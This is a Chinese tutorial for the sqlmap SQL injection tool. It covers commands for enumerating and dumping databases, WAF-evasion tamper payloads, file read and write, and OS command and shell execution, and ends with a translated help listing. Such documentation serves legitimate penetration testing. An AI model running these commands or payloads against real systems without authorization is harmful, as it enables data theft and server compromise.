SQLMAP使用教程

指定目标

选项:-u--url

针对单一目标 URL 运行 sqlmap。这个选项可设置为下面格式的 URL:

http(s)://targeturl[:port]/[...]

例如:

python sqlmap.py -u "target_url"

输出详细等级

选项:-v

该选项用于设置输出信息的详细等级,共有七个级别。默认级别为 1,输出包括普通信息,警告,错误,关键信息和 Python 出错回遡信息(如果有的话)。

  • 0:只输出 Python 出错回溯信息,错误和关键信息。

  • 1:增加输出普通信息和警告信息。

  • 2:增加输出调试信息。

  • 3:增加输出已注入的 payloads。

  • 4:增加输出 HTTP 请求。

  • 5:增加输出 HTTP 响应头。

  • 6:增加输出 HTTP 响应内容。

例如:用 -v 代替 -v 2,用 -vv 代替 -v 3,用 -vvv 代替 -v 4,依此类推

python sqlmap.py -u "target_url" -v

列出 DBMS 所有数据库

开关:--dbs

如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限,则可以枚举出当前数据库列表。

python sqlmap.py -u "target_url" --dbs

枚举数据表

开关和选项:--tables--exclude-sysdbs-D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库,则 sqlmap 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意,对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称。

python sqlmap.py -u "target_url" -D database_name --tables

枚举数据表的列名

开关和选项:--columns-C-T-D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名。sqlmap 还将枚举所有列的数据类型。

此功能可使用选项 -T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,将使用当前的数据库名称。你还可以使用选项 -C 来指定要枚举的表列名。

python sqlmap.py -u "target_url" -D database_name -T table_name --columns

dump数据

开关和选项:--dump,-C-T-D

python sqlmap.py -u "target_url" -D database_name -T table_name -C (column_name1,column_name2) --dump

#输出指定数据库(database_name)指定表(table_name)中指定字段(column_name1,column_name2)的数据

WAF识别

python sqlmap.py -u "TARGET_URL" --identify-waf

从文件中载入 HTTP 请求

选项:-r

sqlmap 可以从一个文本中读取原始的 HTTP 请求。通过这种方式,你能够免于设置部分选项(例如:设置 cookies,POST 数据等参数)。

HTTP 请求文件数据可以通过burp抓包获取

例如:

python sqlmap.py -r 1.txt --dbs

设置 Cookie

选项:--cookie

例如:

python sqlmap/sqlmap.py -u "target_url" --cookie="uname=admin;id=1" --dbs

设置 User-Agent

选项和开关:--user-agent--random-agent

默认情况下,sqlmap 使用以下 User-Agent 请求头值执行 HTTP 请求:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

指定User-Agent 

例如:

python sqlmap.py -u "target_url" --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0" --dbs

随机User-Agent

例如:

python sqlmap.py -u "target_url" --random-agent --dbs

并发 HTTP(S) 请求

选项:--threads

sqlmap 中支持设定 HTTP(S) 请求最大并发数。 这个特性依赖于多线程,因而继承了多线程的优点和缺陷。

当数据是通过 SQL 盲注技术,或者使用暴力破解相关开关获取时,可以运用这个特性。对于 SQL 盲注技术,sqlmap 首先在单线程中计算出查询目标的长度,然后启用多线程特性,为每一个线程分配查询的一个字符。当该字符被成功获取后,线程会结束并退出——结合 sqlmap 中实现的折半算法,每个线程最多发起 7 次 HTTP(S) 请求。

考虑运行性能和目标站点的可靠性因素,sqlmap 最大的并发请求数只能设置到 10

值得注意的是,这个选项不能跟 --predict-output 一起使用。

python sqlmap.py -u "target_url" -D database_name -T table_name --columns --threads 3

强制使用SSL

选项:--force-ssl

例如:

python sqlmap.py -r 1.txt --dbs --force-ssl

HTTP 请求之间的延迟

选项:--delay

可以指定每个 HTTP(S) 请求之间等待的秒数。有效值是一个浮点数,例如 0.5 表示半秒。默认情况下,没有设置延迟。

在每个请求期间运行自定义的 Python 代码

选项:--eval

在可能因为一些已知的依赖而想要更改(或添加新的)参数值的情况下,可以使用选项 --eval 为 sqlmap 提供自定义的 python 代码,代码将在每个请求之前运行。

例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

指定测试参数

选项:-p--skip--param-exclude

默认情况下 sqlmap 会测试所有 GET 参数和 POST 参数。当 --level 的值 >= 2,它还会测试 HTTP Cookie 头部值。当这个值 >= 3 时,它还会测试 HTTP User-Agent 和 HTTP Referer 头部值。而且还可以手动指定一个需要 sqlmap 进行测试的、使用逗号分隔的参数列表。这会使 sqlmap 忽略 --level 的设置。

例如,只需要测试 GET 参数 id 和 HTTP User-Agent 时,则提供 -p "id,user-agent"

如果用户想要排除测试某些参数,可以使用选项 --skip。如果需要使用高级别 --level 值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。

例如,要在 --level=5 跳过测试 HTTP User-Agent 和 HTTP Referer,可以提供 --skip="user-agent,referer"

还可以基于正则表达式针对参数名称来排除对某些参数的测试。在这种情况下,用户可以使用选项 --param-exclude

例如,要跳过对名称中包含 tokensession 的参数测试,可以提供 --param-exclude="token|session"

自定义注入 payload

选项:--prefix--suffix

在某些情况下,仅当用户提供附加到注入 payload 的特定后缀时,才能利用易受攻击的参数。另外,当用户已经知道查询语法并希望通过直接提供注入 payload 前缀和后缀来检测利用 SQL 注入时,这些选项对这种场景会很方便。

漏洞源代码示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

要检测并利用此 SQL 注入,您可以让 sqlmap 在检测阶段检测边界(与 SQL payload 前缀和后缀组合),或者自己提供。

例如:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

这将使所有 sqlmap 请求最终构成以下查询:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

以使查询语法正确。

在这个简单的例子中,sqlmap 可以检测 SQL 注入并利用它,而不需要提供自定义的边界,但有时在真实情况中的应用程序,当注入点存在于嵌套的 JOIN 查询中时,需要提供它。

级别

选项:--level

使用这个选项需要给出一个参数用于指定即将进行检测的级别。总共有个级别。默认的级别是 1,该级别只会进行简单的检测(请求)。与之不同的是,级别 5 会更详细地对更大范围 payloads 和 boundaries(作为 SQL payload 的前缀和后缀)进行检测。sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。

这个选项设置不止会影响 sqlmap 使用的 payload,还会影响到相关的测试注入点:总是测试 GET 和 POST 的相关参数,级别大于等于 2 则会测试 HTTP Cookie 头部,级别大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。

总而言之, 如果 SQL 注入检测的难度越高,则需要设定越高的 --level 值。

强烈建议在向 sqlmap 邮件列表反馈 sqlmap 无法检测到特定类型的注入之前,尝试设定一个更高的 --level 值用于检测。

页面对比

选线:--string--not-string--regexp 

默认区分一个 True 查询和 False 查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果页面是否一致进行判断的。

不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计数器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。为了避免类似的情况,sqlmap 会尽可能尝试识别出对应的代码段所返回的请求内容并做好相关的处理。有时候,可能无法正确处理该情况,这也是为什么 sqlmap 允许用户提供一个字符串(--string 选项),这个字符串需要出现在原页面(这个并不是强制规定)所有查询结果为 True 的页面查询中,并且出现在查询结果为 False 的页面。除了提供静态的字符串外,用户可以提供正则表达式(--regexp 选项)用于匹配。此外,用户可以提供一个字符串(--not-string 选项),该字符串能出现在原页面或者所有查询结果为 True 的页面,而总是出现在查询结果为 False 的页面。

读取数据库服务器文件系统文件

选项:--file-read

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够直接读取底层文件系统中文件的内容。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

例如:

python sqlmap.py -u "target_url" --file-read "C:/1.txt"

向数据库服务器的文件系统上传文件

选项:--file-write--file-dest

当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够向数据库服务器文件系统上传一个本地文件。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

python sqlmap.py -u "target_url" --file-write "local_file" --file-dest "remote_file"

运行任意操作系统命令

选项和开关:--os-cmd--os-shell

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前会话用户拥有对数据库特定功能和相关架构特性的利用权限时,sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令

在 MySQL 和 PostgreSQL 中,sqlmap 可以上传(通过前面描述的文件上传功能)一个包含两个用户自定义函数——分别为 sys_exec()sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。在 Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它。

python sqlmap.py -u "target_url" --os-cmd=whoami
python sqlmap.py -u "target_url" --os-shell

修改注入数据

选项:--tamper

sqlmap 本身不会混淆发送的 payload,除了将单引号之间的字符串用诸如 CHAR() 进行替换。

如果后端 DBMS 与用户输入内容存在较弱验证机制的情况下,此选项会非常有用。这种验证机制通常是由应用程序源代码调用自行开发的输入验证例程,如昂贵的企业级 IPS 设备或 Web 应用程序防火墙(WAF)。一言蔽之,它们通常以不同的方式实现并且需要花费大量资金。

要利用此选项,需要为 sqlmap 提供逗号分隔的修改脚本列表,这将处理 payload 并返回转换结果。你可以定义自己的修改脚本,编辑使用 sqlmap tamper/ 文件夹中的脚本,并使用逗号分隔连接它们作为 --tamper 选项的值(例如:--tamper="between,randomcase")。

可以使用--identify-waf对一些网站是否有安全防护进行试探

常用tamper脚本


apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar

space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users

nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers

unionalltounion.py
适用数据库:ALL
作用:将union allselect 替换为unionselect
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT

securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'

space2dash.py
适用数据库:ALL
作用:将空格替换为--,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users

between.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--

percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password

charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt

charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users

equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1

equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)

modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--

space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers

modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--

space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 -- ,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227

bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1

versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271

appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00

chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

unmagicquotes.py
适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper("1' AND 1=1")
使用脚本后:1%bf%27 AND 1=1--

randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT

合法的修改脚本格式如下:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

帮助文档翻译

用法:python sqlmap.py [选项]

选项:
  -h, --help            显示基本帮助信息并退出
  -hh                   显示高级帮助信息并退出
  --version             显示程序版本信息并退出
  -v VERBOSE            输出信息详细程度级别:0-6(默认为 1)

  目标:
    至少提供一个以下选项以指定目标

    -d DIRECT           直接连接数据库
    -u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
    -l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址
    -m BULKFILE         从文本文件中获取批量目标
    -r REQUESTFILE      从文件中读取 HTTP 请求
    -g GOOGLEDORK       使用 Google dork 结果作为目标
    -c CONFIGFILE       从 INI 配置文件中加载选项

  请求:
    以下选项可以指定连接目标地址的方式

    --method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
    --data=DATA         使用 POST 发送数据串(例如:"id=1")
    --param-del=PARA..  设置参数值分隔符(例如:&)
    --cookie=COOKIE     指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
    --cookie-del=COO..  设置 cookie 分隔符(例如:;)
    --load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件
    --drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
    --user-agent=AGENT  指定 HTTP User-Agent
    --random-agent      使用随机的 HTTP User-Agent
    --host=HOST         指定 HTTP Host
    --referer=REFERER   指定 HTTP Referer
    -H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
    --auth-cred=AUTH..  HTTP 认证凭证(username:password)
    --auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件
    --ignore-code=IG..  忽略(有问题的)HTTP 错误码(例如:401)
    --ignore-proxy      忽略系统默认代理设置
    --ignore-redirects  忽略重定向尝试
    --ignore-timeouts   忽略连接超时
    --proxy=PROXY       使用代理连接目标 URL
    --proxy-cred=PRO..  使用代理进行认证(username:password)
    --proxy-file=PRO..  从文件中加载代理列表
    --tor               使用 Tor 匿名网络
    --tor-port=TORPORT  设置 Tor 代理端口代替默认端口
    --tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
    --check-tor         检查是否正确使用了 Tor
    --delay=DELAY       设置每个 HTTP 请求的延迟秒数
    --timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
    --retries=RETRIES   连接超时时重试次数(默认为 3)
    --randomize=RPARAM  随机更改给定的参数值
    --safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:
                        有些网站在你连续多次访问错误地址时会关闭会话连接,
                        后面的“请求”小节有详细说明)
    --safe-post=SAFE..  使用 POST 方法发送合法的数据
    --safe-req=SAFER..  从文件中加载合法的 HTTP 请求
    --safe-freq=SAFE..  每访问两次给定的合法 URL 才发送一次测试请求
    --skip-urlencode    不对 payload 数据进行 URL 编码
    --csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token
    --csrf-url=CSRFURL  指定可提取防 CSRF 攻击 token 的 URL
    --force-ssl         强制使用 SSL/HTTPS
    --hpp               使用 HTTP 参数污染攻击
    --eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  优化:
    以下选项用于优化 sqlmap 性能

    -o                  开启所有优化开关
    --predict-output    预测常用请求的输出
    --keep-alive        使用持久的 HTTP(S) 连接
    --null-connection   仅获取页面大小而非实际的 HTTP 响应
    --threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

  注入:
    以下选项用于指定要测试的参数,
    提供自定义注入 payloads 和篡改参数的脚本

    -p TESTPARAMETER    指定需要测试的参数
    --skip=SKIP         指定要跳过的参数
    --skip-static       指定跳过非动态参数
    --param-exclude=..  用正则表达式排除参数(例如:"ses")
    --dbms=DBMS         指定后端 DBMS(Database Management System,
                        数据库管理系统)类型(例如:MySQL)
    --dbms-cred=DBMS..  DBMS 认证凭据(username:password)
    --os=OS             指定后端 DBMS 的操作系统类型
    --invalid-bignum    将无效值设置为大数
    --invalid-logical   对无效值使用逻辑运算
    --invalid-string    对无效值使用随机字符串
    --no-cast           关闭 payload 构造机制
    --no-escape         关闭字符串转义机制
    --prefix=PREFIX     注入 payload 的前缀字符串
    --suffix=SUFFIX     注入 payload 的后缀字符串
    --tamper=TAMPER     用给定脚本修改注入数据

  检测:
    以下选项用于自定义检测方式

    --level=LEVEL       设置测试等级(1-5,默认为 1)
    --risk=RISK         设置测试风险等级(1-3,默认为 1)
    --string=STRING     用于确定查询结果为真时的字符串
    --not-string=NOT..  用于确定查询结果为假时的字符串
    --regexp=REGEXP     用于确定查询结果为真时的正则表达式
    --code=CODE         用于确定查询结果为真时的 HTTP 状态码
    --text-only         只根据页面文本内容对比页面
    --titles            只根据页面标题对比页面

  技术:
    以下选项用于调整特定 SQL 注入技术的测试方法

    --technique=TECH    使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                        B: Boolean-based blind SQL injection(布尔型盲注)
                        E: Error-based SQL injection(报错型注入)
                        U: UNION query SQL injection(联合查询注入)
                        S: Stacked queries SQL injection(堆叠查询注入)
                        T: Time-based blind SQL injection(时间型盲注)
                        Q: inline Query injection(内联查询注入)
    --time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)
    --union-cols=UCOLS  设置联合查询注入测试的列数目范围
    --union-char=UCHAR  用于暴力猜解列数的字符
    --union-from=UFROM  设置联合查询注入 FROM 处用到的表
    --dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:
                        推荐阅读《在SQL注入中使用DNS获取数据》
                        http://cb.drops.wiki/drops/tips-5283.html,
                        在后面的“技术”小节中也有相应解释)
    --second-url=SEC..  设置二阶响应的结果显示页面的 URL(译者注:
                        该选项用于 SQL 二阶注入)
    --second-req=SEC..  从文件读取 HTTP 二阶请求

  指纹识别:
    -f, --fingerprint   执行广泛的 DBMS 版本指纹识别

  枚举:
    以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据。
    此外,还可以运行你输入的 SQL 语句

    -a, --all           获取所有信息、数据
    -b, --banner        获取 DBMS banner
    --current-user      获取 DBMS 当前用户
    --current-db        获取 DBMS 当前数据库
    --hostname          获取 DBMS 服务器的主机名
    --is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
    --users             枚举出 DBMS 所有用户
    --passwords         枚举出 DBMS 所有用户的密码哈希
    --privileges        枚举出 DBMS 所有用户特权级
    --roles             枚举出 DBMS 所有用户角色
    --dbs               枚举出 DBMS 所有数据库
    --tables            枚举出 DBMS 数据库中的所有表
    --columns           枚举出 DBMS 表中的所有列
    --schema            枚举出 DBMS 所有模式
    --count             获取数据表数目
    --dump              导出 DBMS 数据库表项
    --dump-all          导出所有 DBMS 数据库表项
    --search            搜索列,表和/或数据库名
    --comments          枚举数据时检查 DBMS 注释
    -D DB               指定要枚举的 DBMS 数据库
    -T TBL              指定要枚举的 DBMS 数据表
    -C COL              指定要枚举的 DBMS 数据列
    -X EXCLUDE          指定不枚举的 DBMS 标识符
    -U USER             指定枚举的 DBMS 用户
    --exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库
    --pivot-column=P..  指定主列
    --where=DUMPWHERE   在转储表时使用 WHERE 条件语句
    --start=LIMITSTART  指定要导出的数据表条目开始行数
    --stop=LIMITSTOP    指定要导出的数据表条目结束行数
    --first=FIRSTCHAR   指定获取返回查询结果的开始字符位
    --last=LASTCHAR     指定获取返回查询结果的结束字符位
    --sql-query=QUERY   指定要执行的 SQL 语句
    --sql-shell         调出交互式 SQL shell
    --sql-file=SQLFILE  执行文件中的 SQL 语句

  暴力破解:
    以下选项用于暴力破解测试

    --common-tables     检测常见的表名是否存在
    --common-columns    检测常用的列名是否存在

  用户自定义函数注入:
    以下选项用于创建用户自定义函数

    --udf-inject        注入用户自定义函数
    --shared-lib=SHLIB  共享库的本地路径

  访问文件系统:
    以下选项用于访问后端 DBMS 的底层文件系统

    --file-read=FILE..  读取后端 DBMS 文件系统中的文件
    --file-write=FIL..  写入到后端 DBMS 文件系统中的文件
    --file-dest=FILE..  使用绝对路径写入到后端 DBMS 中的文件

  访问操作系统:
    以下选项用于访问后端 DBMS 的底层操作系统

    --os-cmd=OSCMD      执行操作系统命令
    --os-shell          调出交互式操作系统 shell
    --os-pwn            调出 OOB shell,Meterpreter 或 VNC
    --os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
    --os-bof            利用存储过程的缓冲区溢出
    --priv-esc          数据库进程用户提权
    --msf-path=MSFPATH  Metasploit 框架的本地安装路径
    --tmp-path=TMPPATH  远程临时文件目录的绝对路径

  访问 Windows 注册表:
    以下选项用于访问后端 DBMS 的 Windows 注册表

    --reg-read          读取一个 Windows 注册表键值
    --reg-add           写入一个 Windows 注册表键值数据
    --reg-del           删除一个 Windows 注册表键值
    --reg-key=REGKEY    指定 Windows 注册表键
    --reg-value=REGVAL  指定 Windows 注册表键值
    --reg-data=REGDATA  指定 Windows 注册表键值数据
    --reg-type=REGTYPE  指定 Windows 注册表键值类型

  通用选项:
    以下选项用于设置通用的参数

    -s SESSIONFILE      从文件(.sqlite)中读入会话信息
    -t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件
    --batch             从不询问用户输入,使用默认配置
    --binary-fields=..  具有二进制值的结果字段(例如:"digest")
    --check-internet    在访问目标之前检查是否正常连接互联网
    --crawl=CRAWLDEPTH  从目标 URL 开始爬取网站
    --crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")
    --csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)
    --charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
    --dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)
    --encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)
    --eta               显示每个结果输出的预计到达时间
    --flush-session     清空当前目标的会话文件
    --forms             解析并测试目标 URL 的表单
    --fresh-queries     忽略存储在会话文件中的查询结果
    --har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
    --hex               获取数据时使用 hex 转换
    --output-dir=OUT..  自定义输出目录路径
    --parse-errors      从响应中解析并显示 DBMS 错误信息
